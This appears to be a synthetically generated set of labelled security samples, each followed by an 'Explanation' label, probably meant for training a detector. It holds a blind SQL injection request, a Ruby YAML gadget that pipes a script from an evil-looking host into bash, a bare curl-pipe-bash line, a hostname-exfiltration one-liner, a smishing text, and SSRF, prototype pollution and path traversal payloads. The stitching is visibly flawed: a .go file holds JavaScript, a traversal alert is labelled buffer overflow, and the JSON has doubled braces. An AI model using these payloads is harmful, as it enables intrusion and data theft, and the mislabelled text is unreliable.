# Severity: Critical

GET /search?q=1'+AND+(SELECT+SUBSTRING(password,1,1)+FROM+users+WHERE+username='admin')='a'-- HTTP/1.1
Host: cloudportal.net
# Blind boolean-based SQL injection

Explanation: Contains a SQL injection exploit or proof-of-concept code found in a exploit proof of concept. This vulnerability can be leveraged by an attacker to gain unauthorized access, execute arbitrary code, or exfiltrate sensitive data from the target system.

## Vulnerability Report

**ID**: VULN-2B319D
**Date**: 2025-05-06T17:51:14Z
**Severity**: Critical

### Proof of Concept

```
require "yaml"

# Universal RCE gadget chain
payload = <<~YAML
--- !ruby/object:Gem::Requirement
requirements:
  !ruby/object:Gem::DependencyList
  specs:
  - !ruby/object:Gem::Source
    uri: "| curl http://evil-b7a6.com/shell.sh | bash"
YAML
YAML.load(payload)
```

### Impact
Remote code execution via insecure deserialization.

Explanation: Contains insecure deserialization code in Ruby. Deserializing untrusted data can allow an attacker to instantiate arbitrary objects and execute gadget chains, leading to remote code execution, file manipulation, or denial of service.


Utility library

curl -s http://evil-c7cc.com/shell.sh | bash

Explanation: Contains a typosquatted npm package 'axi0s' (impersonating 'axios') with a malicious postinstall script. Supply chain attacks inject malicious code into trusted software distribution channels, executing arbitrary commands during package installation, potentially compromising developer machines and CI/CD pipelines.


// regex_utils.go
const hostnameRegex = /(http|ftp)s?://(\\w+:{0,1}\\w*@)?(\\S+)(:[0-9]+)?(/|/([\\w#!:.?+=&%@!\\-/]))?/;

function validateHostname(input) {
    return hostnameRegex.test(input);
}

// Known DoS input: 'http://aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa!'

Explanation: Contains a regular expression vulnerable to catastrophic backtracking (URL scheme parser) in JavaScript validation code. An attacker can supply crafted input that causes the regex engine to enter exponential-time matching, consuming excessive CPU and leading to denial of service.


[SMS from USPS]
USPS: Package #0202D94B19 has a delivery issue. Update your address: https://paypal-auth-f818.com/usps/update

Explanation: Contains a SMS phishing (smishing) impersonating a trusted service. This social engineering attack uses deceptive content to trick users into revealing credentials, authorizing malicious applications, or executing harmful actions. The content mimics legitimate services to exploit user trust.


[2025-04-18T07:12:18Z] SECURITY: Prototype pollution attempt detected
IP: 104.113.101.161
Endpoint: /api/settings
Payload: {{"__proto__": {{"role": "admin", "verified": true}}}}

Application code:
// Express.js middleware
app.put("/api/user/settings", (req, res) => {
    const settings = req.body;
    // Deep merge user settings - VULNERABLE
    Object.assign(user, settings);
    // Attacker sends: {{"__proto__": {{"role": "admin", "verified": true}}}}
    res.json({ success: true });
});

Explanation: Contains server-side prototype pollution in Express.js route. By injecting properties into Object.prototype via __proto__ or constructor.prototype, an attacker can modify the behavior of all JavaScript objects in the application, potentially escalating privileges, bypassing security checks, or achieving remote code execution.


POST /api/webhook HTTP/1.1
Host: techdata.io
Content-Type: application/json

{"url": "ftp://evil.com/exfil", "callback": true}

Explanation: Contains a SSRF using ftp:// scheme abuse found in a webhook configuration. Server-Side Request Forgery allows an attacker to make the server issue requests to internal resources, potentially accessing cloud credentials, internal services, or sensitive configuration data that is not directly accessible from outside the network.


requets

node -e "const h=require('https');h.get('https://evil-3529.com/s?h='+require('os').hostname());"

Explanation: Contains a typosquatted npm package 'requets' (impersonating 'request') with a malicious postinstall script. Supply chain attacks inject malicious code into trusted software distribution channels, executing arbitrary commands during package installation, potentially compromising developer machines and CI/CD pipelines.

Signature: BUFFER-OVERFLOW-003
Payload:
GET /images/..\..\..\..\windows\win.ini HTTP/1.1
Host: authhub.net

Explanation: Contains a path traversal / directory traversal exploit or proof-of-concept code found in a intrusion detection alert. This vulnerability can be leveraged by an attacker to gain unauthorized access, execute arbitrary code, or exfiltrate sensitive data from the target system.


[2025-12-25T10:24:54Z] SECURITY: Prototype pollution attempt detected
IP: 34.9.223.248
Endpoint: /api/settings
Payload: {{"__proto__": {{"allowedTags": ["script", "img", "svg"]}}}}

Application code:
